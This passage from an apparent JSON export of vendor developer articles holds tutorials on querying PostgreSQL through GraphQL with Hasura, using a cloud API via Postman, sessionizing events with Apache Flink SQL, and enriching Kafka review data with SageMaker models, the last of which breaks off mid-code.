}\n}\n```\n\nThe above fetches all the rows in the `actor` table, then retrieves and exposes the `actor_id`, `first_name`, `last_name` and `last_update` columns.\n\n### Filter a single actor\n\nThe next GraphQL query lets us filter the results of a single actor. In the main query editor, write the following:\n\n```\nquery actors ($actor_name: String!){\n  actor (where: { first_name: { _eq: $actor_name } }) {\n    actor_id\n    first_name\n    last_name\n  }\n}\n```\n\nIn the **Query variables** section, add the value for the actor name filter:\n\n```\n{\n  \"actor_name\":\"CHRISTIAN\"\n}\n```\n\nWhen running the query we should see a result like the following, listing only the actors named `CHRISTIAN`:\n\n```\n{\n  \"data\": {\n    \"actor\": [\n      {\n        \"actor_id\": 10,\n        \"first_name\": \"CHRISTIAN\",\n        \"last_name\": \"GABLE\"\n      },\n      {\n        \"actor_id\": 58,\n        \"first_name\": \"CHRISTIAN\",\n        \"last_name\": \"AKROYD\"\n      },\n      {\n        \"actor_id\": 61,\n        \"first_name\": \"CHRISTIAN\",\n        \"last_name\": \"NEESON\"\n      }\n    ]\n  }\n}\n```\n\nIf we want to run these queries from our local terminal, we can use the following command, replacing the following two parameters:\n\n* the `\u003cHASURA_TOKEN\u003e` with the **x-hasura-admin-secret**\n* the `\u003cHASURA_ENDPOINT\u003e` with the **GraphQL endpoint**\n\n```\ncurl --header \"Content-Type: application/json\" \\\n  --header \"\u003cHASURA_TOKEN\u003e\"\\\n  --request POST \\\n  --data '\n    {\"query\":\"query actors ($actor_name: String!){actor (where: { first_name: { _eq: $actor_name } }) { actor_id first_name last_name}}\",\n    \"variables\":{\"actor_name\": \"CHRISTIAN\"}\n    }' \\\n  \u003cHASURA_ENDPOINT\u003e\n```\n\nRunning this in a terminal returns data about the same three actors:\n\n```\n{\"data\":{\"actor\":[{\"actor_id\":10,\"first_name\":\"CHRISTIAN\",\"last_name\":\"GABLE\"}, {\"actor_id\":58,\"first_name\":\"CHRISTIAN\",\"last_name\":\"AKROYD\"}, {\"actor_id\":61,\"first_name\":\"CHRISTIAN\",\"last_name\":\"NEESON\"}]}}\n```\n\n### Insert a new actor\n\nIn our final query, we'll insert a new actor in the `actor` table. To do so we can use the following:\n\n```\nmutation insert_single_actor($object: actor_insert_input!) {\n  insert_actor_one(object: $object){\n    first_name \n    last_name\n  }\n}\n```\n\nWith the following variables:\n\n```\n{\n  \"object\":{\n    \"first_name\":\"JANE\",\n  \t\"last_name\":\"WHITE\"\n  }\n}\n```\n\nOnce executed, we can check that a new row has been added to the `actor` table in PostgreSQL using `psql`:\n\n```\nselect * from actor where last_name='WHITE';\n```\n\nThe result is the new entry we just added using GraphQL:\n\n```\n actor_id | first_name | last_name |          last_update\n----------+------------+-----------+-------------------------------\n      201 | JANE       | WHITE     | 2023-08-02 13:48:02.081734+00\n(1 row)\n```\n\n## Conclusion\n\nGraphQL APIs are increasingly used to retrieve or manipulate data in databases. This tutorial demonstrates how you can add these APIs with Hasura on top of a PostgreSQL database managed by Aiven. If you want to learn more:\n\n* [GraphQL](https://graphql.org/)\n* [Hasura website](https://hasura.io/)\n* [Hasura and Aiven for PostgreSQL](https://hasura.io/docs/latest/databases/postgres/aiven/)","feature":{"_type":"featuredItem","active":false,"endDate":"2024-01-17T10:44:22.247Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"f164f8a1b923","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"},{"_key":"16870657d6a9","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2024-01-17T11:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The words \"Query a PostgreSQL® database using GraphQL\" in white on a dark blue background with dark blue abstract shapes. The Aiven logo is in the bottom left.","asset":{"_ref":"image-f499b31e6cab61f97ec2772ca6ba80ed2e419961-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/query-a-postgresqlr-database-using-graphql"},"subtitle":"GraphQL is a great technology for working with complex data models. Learn how to query an Aiven for PostgreSQL® database with GraphQL using Hasura","tags":[{"_key":"86d884b8512a","_ref":"01148eca-64e7-46ba-a597-5df3e2a441b0","_type":"tag"},{"_key":"93480ad3c199","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"cc6f89c54711","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"550a8d649f8e","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Query a PostgreSQL® database using GraphQL"}
{"__i18n_lang":"en","_createdAt":"2023-03-24T15:02:16Z","_id":"bf485ef4-4dc1-40e0-b542-cbc618db7d96","_rev":"ZgPiUE9lJ1tcRKuFnaAvWT","_type":"devArticle","_updatedAt":"2024-07-11T13:22:06Z","body":"[Choosing cloud providers that have APIs is a smart move](https://aiven.io/blog/your-cloud-platform-isnt-future-proof-without-an-api); having an API available means you can build any additional integrations that your application requires, in addition to what's provided as standard. The downside is getting to know someone else's API, which can be a slow and painful process if good developer resources aren't available.\n\nAt Aiven we'd love you to get to know our API, so we created a [Postman® collection](https://www.postman.com/aiven-apis/workspace/aiven/documentation/21112408-1f6306ef-982e-49f8-bdae-4d9fdadbd6cd) to help you get started. If you haven't used [Postman](https://www.postman.com/) before, it's a friendly interface for humans to work with APIs. We use it ourselves, so we created something you could use too. In this post, you'll learn about using Postman to take your first steps with the Aiven API.\n\n## Before you start\n\nYou can use Postman either in your web browser or as a desktop application. Whichever you choose, [sign up for a free account](https://www.postman.com/postman-account/), or sign in if you have one already.\n\nClick [Collections](https://www.postman.com/aiven-apis/workspace/aiven/documentation/21112408-1f6306ef-982e-49f8-bdae-4d9fdadbd6cd). To get your own copy of the collection to work with, right-click on the collection and choose \"Create a fork\".\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/42c82e12aa80ba470a9e4647e2da65174cc38425-1569x1114.png)\n\nYou're prompted to give the collection a name, and which workspace to move it to. \"My workspace\" is a good choice if you're not sure.\n\n## Get your head in the clouds\n\nThe first API call we'll make is simple: ask the Aiven API for a list of all the clouds that a user can deploy their services to on Aiven.\n\nExpand your collection in the left-hand bar and click on \"Clouds\". The request you want is called \"List available cloud platforms\", and it doesn't need any editing or changes. Go ahead and click the \"Send\" button over on the right-hand side.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/ac2691faf4cd276ae77e2d56570b0b3c052511fe-1742x995.png)\n\nWell done - you've made your first API call! The results display in the lower half of the screen; Postman autodetects that the response is in JSON, and format it nicely so that us mere mortals can read it. Have a scroll down and pick a location that sounds like a fun place to host your database.\n\nThis is fun, but it'll be more fun when you're working with your own databases in the cloud, so the next step is to identify yourself to the API when you make a request.\n\n## Send credentials with your API request\n\nWhen you sign in to a website, you probably use a username and password (Aiven also supports SSO and allows you to add 2FA, in case you're interested). For APIs, we usually use an authentication token. This is good practice because you can create a new token for each application; those credentials can each be independently rotated or revoked without affecting any other applications - because they each use their own tokens.\n\n1. If you don't already have an Aiven account, [sign up for a free trial](https://console.aiven.io/signup).\n\n2. Visit [your Aiven profile page](https://console.aiven.io/profile/auth) and scroll down to \"Authentication tokens\" to create a new token.\n\n3. Enter a description so that you will know which token this is, and set the expiry in hours for your token (leave it blank for a token that does not expire). Click \"Generate token\".\n\n4. Copy the token, ready to set it in the Postman collection.\n\n5. Back in Postman, click the collection menu, and go to \"Edit\". On the \"Variables\" tab, paste your token value in under \"Current value\" for the \"authToken\" variable. Press the \"Save\" button on the right-hand side above the tabs.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/a64697f4a7dad6fcd3fa2c6105c5792b82007220-1742x995.png)\n\nAll the requests in the collection are set up to use this variable, so by setting it here, it's used for all the API calls. Speaking of which, shall we make another one?\n\n## Create a cloud database\n\nAiven offers a variety of different databases and other data _things_, like [Apache Kafka®](https://kafka.apache.org/) (technically not a database) and [Grafana®](https://grafana.com/) (_definitely_ not a database), and we call them all \"services\".\n\nIn the \"Services\" folder within the collection, select the request called \"Create a service\". You can create whichever service type you like, but the example values create a Redis, which is a great place to start.\n\n* Under the \"Params\" section, update the path variable `project` with a project name that exists in your account that you want to use.\n\n* This is a `POST` request, so most of the interesting parts are in the body data; this can be found on the \"Body\" tab of the request. Have a look at the data, you might like to set a nicer value for `service_name`, for example.\n\nWhen you are happy with the values, click \"Send\". The response should have status 200 and show information about your new service.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/e7b2e75508e99eba8a7e1a056d7170c7996c005d-1742x995.png)\n\nThe right status code and some JSON is a good outcome, but it's not very exciting, is it? Head back to your Aiven console and you should see a new Redis service.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/2ce8f2d9b9ee3d1a9def330081bf9e7300e36f29-1742x995.png)\n\nA whole new Redis to play with! If you click on the service, you'll see an overview page for the service including lots of configuration and the connection information to use it. Check out our [docs on connecting to Redis](https://aiven.io/docs/products/redis/howto/connect-redis-cli.html) using the `redis_cli` tool.\n\n## Power off services you're not using\n\nOne big concern about working with cloud services is how easy it is to start services that then hang around, running up the bills. So, once you've finished playing with your cloud Redis service, let's remove it. It's only a Postman call to get it back, after all.\n\nLook in the \"Services\" folder of the collection again, and this time select \"Delete a service\".\n\nOn the \"Params\" tab, enter both the project and service name that you used. Send the request - and again we're looking for a response status of 200 OK.\n\nCheck back on your Aiven services list: as if by magic, your service is gone.\n\n\u003e Tip: You can also use the \"Update service configuration\" request and set the `powered` value to true or false to power off your services when you're not using them. This is especially handy for development platforms that only need to run while you are working, which is hopefully not all hours of the day. Please note that this [fully removes the service](https://aiven.io/docs/platform/concepts/service-power-cycle.html), and powering it on restores it from a backup. This can cause settings to reset.\n\n## Postman, APIs and Aiven\n\nWhether you use Postman for your day-to-day tasks, or use it as an excellent way to get to know a new API, the Aiven Postman collection gives you a way to get started quickly. \n\nLearn more about our API by checking out a [detailed blog post about using Aiven's API from cURL and Postman](https://aiven.io/blog/your-first-aiven-api-call), and the [Aiven API reference docs](https://api.aiven.io/doc/).\n\nThe Postman collection has just a handful of endpoints. [Tell us](https://twitter.com/aiven_io) what we should add there next! And let us know what you build, we love to see it (and we accept guest blog posts if it's something _really_ cool).\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nStruggling with the management of your data infrastucture? [Head to the Aiven Console to sign up for a free trial!](https://console.aiven.io/signup)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T14:01:47.197Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"d0fd6290e35a","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2022-11-22T14:43:00.000Z","seo":{"_type":"metaData","metaDescription":"Learn how to use Postman to take your first steps with the Aiven API. Discover its benefits and improve your workflows with our handy step-by-step guide!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a195373401da70d4cd915d32f729505175f9d8e6-1567x844-jpg","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/get-to-know-the-aiven-api-with-postman"},"subtitle":"Take your first steps with the Aiven API and Postman - and this handy step-by-step guide.","tags":[{"_key":"df6be175d37f","_ref":"21dab0f5-92ff-47e2-8b55-f60a736d22b9","_type":"tag"},{"_key":"f4fab1f6221d","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Get to know the Aiven API with Postman"}
{"__i18n_lang":"en","_createdAt":"2024-02-09T10:33:42Z","_id":"4bf1e2ed-7340-491e-a22d-2e6b89994f2e","_rev":"AUoLUkEDo6CVeRx5srCmKx","_type":"devArticle","_updatedAt":"2024-02-09T13:36:53Z","body":"## Why sessions?\n\nGathering customer feedback outside a retail store is no longer necessary, but businesses still seek answers to familiar questions:\n\n* How did this user find us?\n* What actions did they take?\n* Which actions lead to revenue?\n* How do different channels affect purchasing patterns?\n\nThe challenge with online business is that you can’t directly ask customers these questions. Instead, you have to observe the answers using data. To achieve this, businesses implement user tracking technologies like Snowplow to monitor user clicks and track their online activity. However, analyzing individual events lacks value, as a singular 'checkout click' lacks context. To really understand user behavior, it is need to enrich the 'checkout click' event with details such as:\n\n* What was the page from which the customer clicked the checkout button?\n* How many items were in their cart?\n* How much time did they spend on the website prior to checkout?\n\nWe can answer these questions by defining a user session, and analyzing the data in that session.\n\n## What are sessions?\n\nA session is a collection of events from a single user with a start and end time. Sessions are meaningful entities useful for analytics or real-time applications such as monitoring or fraud prevention. Analyzing sessions provides valuable metrics that will help you understand your user journey, improve your product and ultimately drive growth.\n\nWhen aggregating raw event data to sessions it's typical to define a session window. The session window is the duration between each individual event, where those events are still part of the same session. For instance, if you define a 30 minute session window, this means that 30 minutes of idleness will end the session, and any actions after this belong to a new session. Because of this, the length of a session will never be fixed. The session window duration varies depending on your product, but typically the session window is highly correlated with the session duration. For example, a mobile payment app session is generally very short, while for a cloud service provider the session can be as long as a full working day. Many of the event-tracking products on the market use 30 minutes as a suitable default session window for web-based products. Understanding your product and users helps you define a suitable session window duration.\n\n## How to sessionize?\nDeciding how to organize events has implications for your data pipelines. The most common way to organize events is to do it in post-processing, once the data is in the storage system. The reason for this is that to create complete sessions covering all parts of your business, you have to first combine data from different sources like ads, websites, and mobile. Another way to organize events is to use the built-in tools from your event-tracking provider. This is common for web-based products and companies that may not have many resources or are still figuring out their data setup. The last way to organize events is during mid-process, using a framework that processes data as it comes in. This is common in tech-savvy companies that like to have flexibility and room to grow.\n\nModern technologies now let you organize events at different stages of the data journey, which helps with many different situations. Apache Kafka® is a good example of this kind of technology. It provides a standard way for your organization to work with data, promoting consistency and allowing for real-time event processing. In the Kafka world, there are tools like Apache Flink® that can handle events in real-time. Combining Kafka with Flink is a great way to capture, process (like creating sessions), and put your data into the storage system or other applications quickly.\n\n## Limits of the heads or tails approach\nSessionizing events on the client side has a significant drawback: the analyst manipulating the data has minimal control over the sessionizing logic, such as defining and experimenting with various session window durations. Client-side sessionization also fails to capture user journeys comprehensively. While suitable for simple web-based online shops, it falls short for products with multiple touchpoints (e.g., APIs, website, mobile, desktop apps). On the positive side, this approach is easy to set up, requiring a simple switch in your web tracking provider.\n\nIn the data warehouse, capturing sessions typically involves SQL scripts with window functions handling vast amounts of data. The downside of this method lies in its resource-intensive nature. Due to the unlimited duration of a session, it can be an expensive and slow operation. Furthermore, it lacks the ability to react to sessions in real-time. However, the upside is that the analyst retains complete control over data transformations and can experiment with different parameters. Lastly, in complex data landscapes, the data warehouse may be the only place where the organization can access data that holistically covers the business.\n\n\n## Solution: real-time transformation\nA better approach for sessionizing events is to use a stream processing framework on top of your event stream. For example, employing Apache Flink to process and transform events stored in Apache Kafka. Processing events in real-time and leveraging a stream processing framework like Flink generally offers the following benefits over the aforementioned alternatives:\n\n\n### More performant and reliable\nStream-processing frameworks, like Flink, are purpose-built for unbounded data streams. Flink only needs to process records for the duration of the session window. It achieves this by exposing key parameters that control event time handling and fault tolerance. This results in higher performance compared to a post-processing approach, where these methods don't exist. Moreover, Flink is designed for distributed processing, enabling scalability for workloads of all sizes.\n\n### Transformation in real-time\nFlink directly connects to your Kafka instance, enabling real-time data processing. Processed data can be written to a new topic, consumable by your data warehouse through a sink connector, or directly by your downstream application (e.g., a machine learning model).\n\n### Quick iteration with a rich SQL environment\nFlink provides an SQL API, allowing you to write SQL queries that specify how to manipulate the data. This is advantageous for data analysts who already possess these skills, facilitating technology adoption. Additionally, Flink offers a comprehensive set of operators and functions that prove useful when dealing with sessions, including event-time-based joins, window-based computations, and stateful processing.\n\n\n## Sessionizing with Apache Flink\nHere is an example of how to sessionize an event stream using Aiven for Apache Flink.\n\nCreate a landing table. When creating sessions it's required that your events contain a unique column for a user, and a timestamp for when the event occurred. In this example we use the datagen connector to help us create mock data to test the logic:\n\n```sql\nCREATE TABLE landing_table (\n    user_id int,\n    event_timestamp TIMESTAMP(3),\n    WATERMARK FOR event_timestamp AS event_timestamp\n) WITH (\n  'connector' = 'datagen',\n  'rows-per-second' = '10',\n  'fields.user_id.min' = '0',\n  'fields.user_id.max' = '100'\n)\n```\n\nCreate a sink table using the blackhole connector.\n\n```sql\n\tCREATE TABLE sink_table (\n    user_id INT,\n    session_start TIMESTAMP(3),\n    session_end TIMESTAMP(3),\n    request_count BIGINT\n) WITH (\n   'connector' = 'blackhole'\n)\n```\n\nCreate a job which sessionizes the events, for the sake of the example I’ve defined a 10 second session window here.\n\n```sql\nINSERT INTO sink_table\nSELECT\n   user_id,\n   SESSION_START(event_timestamp, INTERVAL '10' SECOND) AS session_beg,\n   SESSION_ROWTIME(event_timestamp, INTERVAL '10' SECOND) AS session_end,\n   COUNT(*) AS event_count \nFROM landing_table\nGROUP BY user_id, SESSION(event_timestamp, INTERVAL '10' SECOND);\n```\n\n## The next step\nThe next step is passing this information to your application. For example, you might want to calculate the average session duration over a sliding window, to identify potential degradation of your service in real-time. \n\nFlink writes the output of your SQL job to a new topic. Applications can either directly read the data from this topic, or use one of the ready-made connectors for these use-cases. A common approach is to store the output in your data lake or data warehouse for long-term storage.\n\nFor a machine learning application, you might first transform the incoming data using Flink, then use the HTTP Sink Connector to send requests to an endpoint where your model is hosted. With every incoming record, this allows you to serve predictions in real time. For larger machine learning workloads that don’t require real time data, you might store the data in object storage using one of the many connectors (e.g. Google Cloud Storage sink) and then perform predictions in batches, triggered outside of Kafka.\n\n## Conclusion\nUnderstanding how your product is used is essential for your business to grow. Tracked events by themselves aren’t meaningful until you aggregate them on a level which makes sense to the business; that's why we aggregate individual events to sessions. A session is a collection of events from a single user, with a start and end time. Analyzing sessions gives you valuable metrics that help you understand your user journeys, improve your product and ultimately drive growth.\n\nEvent sessionization can happen on the client-side device itself, in the data warehouse, or in real-time using stream-processing tools like Apache Flink. Opting for real-time sessionization offers notable advantages compared to the other methods: enhanced performance and reliability, real-time transformation of data, and a feature-rich SQL environment for swift iteration.\n\nTo commence real-time event sessionization, begin by exploring [Apache Kafka](https://aiven.io/docs/products/kafka) and [Apache Flink](https://aiven.io/docs/products/flink) with [a free trial of Aiven](https://aiven.io/docs/platform/concepts/free-trial).\n\n\n\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-02-16T10:33:10.257Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"publishedAt":"2024-02-09T13:36:48.541Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The text \"How to sessionize events with Apache Flink®\" with the Aiven cuddly crab logo in the corner","asset":{"_ref":"image-906815e0731003069c3644d56116c4c9b9c7919d-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/sessionize-events-with-flink"},"subtitle":"Learn how to gather individual events into sessions, collections of events from a single user over a given time span, using Apache Flink®","tags":[{"_key":"1265259b2464","_ref":"665d1689-e4a5-43d5-bfbe-a673d66b1a41","_type":"tag"},{"_key":"581b02c14187","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"a771abc19328","_ref":"d0c7bf3b-528b-4883-ab1c-27409f645959","_type":"tag"},{"_key":"f9af667a1ca5","_ref":"a8aaad0e-643e-4a82-ac5f-a23492bdff54","_type":"tag"},{"_key":"6b1824d8e372","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}],"title":"How to sessionize events with Apache Flink®"}
{"__i18n_lang":"en","_createdAt":"2024-05-08T12:49:35Z","_id":"4d249ba0-1b34-47af-8ff0-a5eae6a7d82a","_rev":"lMEtP1FuMP9IX2fXXb4ex8","_type":"devArticle","_updatedAt":"2024-05-09T12:33:57Z","body":"Are you on the lookout for events, anomalies, or just want automated heads-up on what's going on? You can use machine learning to get insights and make smarter decisions. By adding machine learning to your live data setup, you open up lots of analysis possibilities.\n\nIn this guide, we'll walk through an example using Amazon SageMaker Studio, a model and a Code Editor space to upgrade streaming data from an Apache Kafka® topic. Specifically, we'll be working with Amazon fine food reviews, adding categorisation and sentiment information as the data flows through Kafka. The results will be split into two topics: one for successful transformations and one for any issues that we encounter.\n\n## Repository\nTo make things easier for you to run, I've prepared [a repository](https://github.com/Aiven-Labs/product-reviews-enrichment) where you find multiple Jupiter notebooks with all code snippets that you need for this project. Instead of writing the code or copying snippets manually, you can simply clone the repo and run notebooks steps. Below I'll explain how to clone it within a SageMaker Code Editor space to use this repository alongside models that are deployed to SageMaker.\n\n## Data\nFor this tutorial we'll be using [a dataset of reviews of fine foods from Amazon](https://www.kaggle.com/datasets/snap/amazon-fine-food-reviews). Download the `Reviews.csv` file from [Kaggle](https://www.kaggle.com/datasets/snap/amazon-fine-food-reviews) and keep it handy, once we set up Code Editor space, add the file to [the project folder](https://github.com/Aiven-Labs/product-reviews-enrichment).\n\nAlternatively, feel free to adapt the tutorial for any data stream that you already have in place.\n\n\n## Step 1 - Set up Amazon SageMaker and Code Editor spaces\n\nIn this tutorial we'll be using SageMaker Studio for hosting AI models and running code.\nTo get started with Amazon SageMaker the best is to follow [the Amazon SageMaker documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/gs.html).\n\n### Create a Code Editor space\n\nOne of the convenient tools SageMaker Studio offers is Code Editor. Code Editor spaces are based on  open source Visual Studio Code and allow to write, run and debug analytics code. They also allow an easy integration with the SageMaker models.\n\nTo create a Code Editor space go to Code Editor page and click on **Create Code Editor space**:\n\n![Create a Code Editor Space](https://cdn.sanity.io/images/sczeoy4w/production/61b4d7b153d6822a3f259b91ee7c77f3fa56b22b-3022x1050.png)\n\nChoose the name, wait till the space is deployed and run it. Then click to open a Visual Studio Code interface.\n\nHere you can clone [the repository with the code we'll need](https://github.com/Aiven-Labs/product-reviews-enrichment):\n\n![Clone repository](https://cdn.sanity.io/images/sczeoy4w/production/3c9e26dd1608107e1250fa4508790f1e00ee0d30-1762x1124.png)\n\nOnce the repository is cloned, move here the `Reviews.csv` file.\n\n## Step 2 - Set up an Apache Kafka cluster\nIf you don't have an [Aiven account](https://console.aiven.io/) yet, create it [by following these steps](https://console.aiven.io/signup). By registering you'll also get free credits that you can use to run this tutorial. Once registered, proceed to [the console](https://console.aiven.io/login) and create a new Aiven for Apache Kafka service.\n\n### Establish a secure connection to Apache Kafka\nTo access an Apache Kafka cluster and establish a TLS connection you need to have this information about your cluster:\n\n- service URI of your Apache Kafka cluster\n- files containing access key, access certificate and CA certificate of your Apache Kafka services.\n\nAll of those you can get from the landing page of your service:\n\n![Aiven for Apache Kafka credentials](https://cdn.sanity.io/images/sczeoy4w/production/d1feb17045a2d039ac31156394c3e19ae50db8a3-2548x1428.png)\n\nDownload the files and add them to [the certificates folder](https://github.com/Aiven-Labs/product-reviews-enrichment/tree/main/certificates). Keep the service URI handy, we'll need it in the next steps.\n\n### Add topics\n\nOnce the cluster is deployed and ready, go to **Topics** tab and add the following topics:\n- reviews - a topic with the raw review data\n- reviews_enriched - to be filled in with the analysis result \n- reviews_processing_errors - to collect information about any errors during data analysis.\n\n## Input data generation\n\nTime to load review data into an Apache Kafka topic. We'll use some python for this! You can run the script directly from Jupiter notebook [load-reviews.ipynb](https://github.com/Aiven-Labs/product-reviews-enrichment/blob/main/load-reviews.ipynb).\n\nFirst install `confluent_kafka` library to work with Apache kafka:\n\n```python\n!pip install confluent_kafka\n```\n\nNext set your `apache_kafka_uri` in the code and run: \n\n```python\nimport csv\nimport json\nfrom confluent_kafka import Producer, Consumer, KafkaError # to produce and consume data from Apache Kafka topics\nimport ssl\n\ncsv_file = 'Reviews.csv'\n\n# SSL context configuration\n# TODO: Load Apache Kafka certificates into certificates folder\napache_kafka_ssl_config = {\n    'ssl.ca.location': 'certificates/ca.pem', \n    'ssl.certificate.location': 'certificates/service.cert',\n    'ssl.key.location': 'certificates/service.key',\n    'security.protocol': 'ssl',\n}\n\napache_kafka_uri = ''  # TODO: Set URI for Apache Kafka\n\napache_kafka_input_topic_name = 'reviews11'\n\nproducer = Producer({\n    'bootstrap.servers': apache_kafka_uri, \n    **apache_kafka_ssl_config \n})\n\n# Read CSV file and send records to Kafka topic\nwith open(csv_file, newline='', encoding='utf-8') as csvfile:\n    reader = csv.DictReader(csvfile)\n    for row in reader:\n        # Convert each row to a JSON object\n        record = {\n            'Id': row['Id'],\n            'ProductId': row['ProductId'],\n            'UserId': row['UserId'],\n            'ProfileName': row['ProfileName'],\n            'HelpfulnessNumerator': row['HelpfulnessNumerator'],\n            'HelpfulnessDenominator': row['HelpfulnessDenominator'],\n            'Score': row['Score'],\n            'Time': row['Time'],\n            'Summary': row['Summary'],\n            'Text': row['Text']\n        }\n\n        to_encoded_json = json.dumps(record).encode('utf-8')\n        producer.produce(apache_kafka_input_topic_name, to_encoded_json)\n        producer.flush()\n```\n\nThe reviews are now being loaded into the Apache Kafka topic `reviews`. You can already check the messages there by using Aiven console interface. Just go to the topic information and fetch messages:\n\n![Fetch messages](https://cdn.sanity.io/images/sczeoy4w/production/1804e0e6bb243ad57f4527ca678e34e134328981-2524x1460.png)\n\nWhile this is in progress we can move on and work on the next steps.\n\n## Step 3 - Deploy models\n\nIn this project we'll do two enhancement to our data:\n1. Run sentiment analysis and predict if a message is positive or negative\n2. Predict a category of a product that is being reviewed.\n\n## Sentiment analysis\nFor sentiment analysis we'll use AI and a model that is already available in the JumpStart section. Go to JumpStart page and search for \"text classification\":\n\n![Search for text classification in JumpStart](https://cdn.sanity.io/images/sczeoy4w/production/0eba64335d29d5c606caec591e551cab915c7d48-3014x1264.png)\n\nFor this tutorial select the first option **Text Classification** by HuggingFace and proceed to deploy it. I'd also recommend changing the endpoint name to easily find it later. For example, I called the endpoint `jumpstart-text-classification`:\n\n![rename-model-endpoint.png](https://cdn.sanity.io/images/sczeoy4w/production/32b74f8f011d754fd0e4657577afa60315dfe305-2324x1274.png)\n\n## Category prediction\nNext, we want to get a model that can predict most fitting categories of the product. For this we'll select another model that is already available via JumpStart, a zero-shot text classification model:\n\n![Selecting Zero-shot model](https://cdn.sanity.io/images/sczeoy4w/production/8795b9be37b9eeb53722accc7d6c34f3fdf9ec66-2352x1344.png)\n\nDeploy similarly to how we did it with the previous model. For the endpoint name use `jumpstart-zero-shot`.\n\n## Step 4 - Transform data and check the results\nNow that we have original review data flowing into Apache Kafka topi and AI models are running, time to process record by record and perform analysis on them.\n\nRun the steps from the [process-amazon-reviews.ipynb](https://github.com/Aiven-Labs/product-reviews-enrichment/blob/main/process-amazon-reviews.ipynb).\n\nInstall dependencies and import the libraries:\n\n```python\n!pip install confluent-kafka\n\nfrom confluent_kafka import Producer, Consumer, KafkaError # to produce and consume data from Apache Kafka topics\nimport boto3 # to programmatically create, configure, and manage AWS resources\nimport json # to work with social media messages that are represented as JSON objects\nimport re # for helper functionality to clean HTML tags from social media messages\n```\n\nTo work with the text classification model we need to define a mapping dictionary to map model labels to negative/positive label:\n\n```python\nlabel_mapping = {'LABEL_0': 'negative', 'LABEL_1': 'positive'}\n\ndef get_prediction(text):\n    endpoint_name = 'jumpstart-text-classification' # TODO: Set endpoint name of your model for sentiment analysis\n    client = boto3.client('runtime.sagemaker')\n    query_response = client.invoke_endpoint(EndpointName=endpoint_name, ContentType='application/x-text', Body=text, Accept='application/json;verbose')\n    model_predictions = json.loads(query_response['Body'].read())\n    probabilities, labels, predicted_label = model_predictions['probabilities'], model_predictions['labels'], model_predictions['predicted_label']\n    # Map the predicted_label to your the label using the mapping dictionary\n    predicted_label = label_mapping.get(predicted_label, predicted_label)\n    return probabilities, labels, predicted_label\n```\nTo predict categories of products with a help of a zero shot model we need to provide the model with possible category alternatives: \n\n```python\ncategories = [\n  \"Snacks\",\n  \"Coffee\",\n  \"Beverages\",\n  \"Condiments\",\n  \"Canned Goods\",\n  \"Bakery and Baked Goods\",\n  \"Dairy Products\",\n  \"Sweets and Desserts\",\n  \"Breakfast Foods\",\n  \"Grains and Pasta\",\n  \"Protein Products\",\n  \"Frozen Foods\",\n  \"Health and Nutrition\",\n  \"Baby and Toddler Food\",\n  \"Pet Supplies\",\n  \"Fruits and Vegetables\",\n  \"Herbs and Spices\",\n  \"Beverage Accessories\",\n  \"Cooking Oils and Fats\",\n  \"Ethnic and Specialty Foods\",\n  \"Dietary Supplements\"\n];\ndef get_categories(text):\n    endpoint_name = 'jumpstart-zero-shot' # TODO: Set endpoint name of your model for classification\n    client = boto3.client('runtime.sagemaker')\n    \n    model_input = {\"sequences\": text, \"candidate_labels\": categories, \"multi_class\": True}\n    query_response = client.invoke_endpoint(\n        EndpointName=endpoint_name,\n        ContentType='application/json',\n        Body=json.dumps(model_input),\n        Accept='application/json;verbose'\n    )\n    \n    model_predictions = json.loads(query_response['Body'].read())\n    \n    # Filter categories with probabilities over 60%\n    filtered_categories = [\n        label_mapping.get(label, label)\n        for label, score in zip(model_predictions['labels'], model_predictions['scores'])\n        if score \u003e 0.6\n    ]\n    \n    return filtered_categories\n```\n\nYou can test the category prediction with a phrase that combines multiple categories ;)  \n\n```python\nprint(get_categories(\"very delicious coffee for my cat who likes to snack on tiramisu\"))\n```\n\nNow that we have functionality to run models, we can establish connection with Apache Kafka to read review records and process them.\n\nDefine Apache Kafka connection properties:\n\n```python\n# TODO: Load Apache Kafka certificates into certificates folder\napache_kafka_ssl_config = {\n    'ssl.ca.location': 'certificates/ca.pem', \n    'ssl.certificate.location': 'certificates/service.cert',\n    'ssl.key.location': 'certificates/service.key',\n    'security.protocol': 'ssl',\n}\n\napache_kafka_uri = '' # TODO: Set URI for Apache Kafka\n\napache_kafka_input_topic_name = 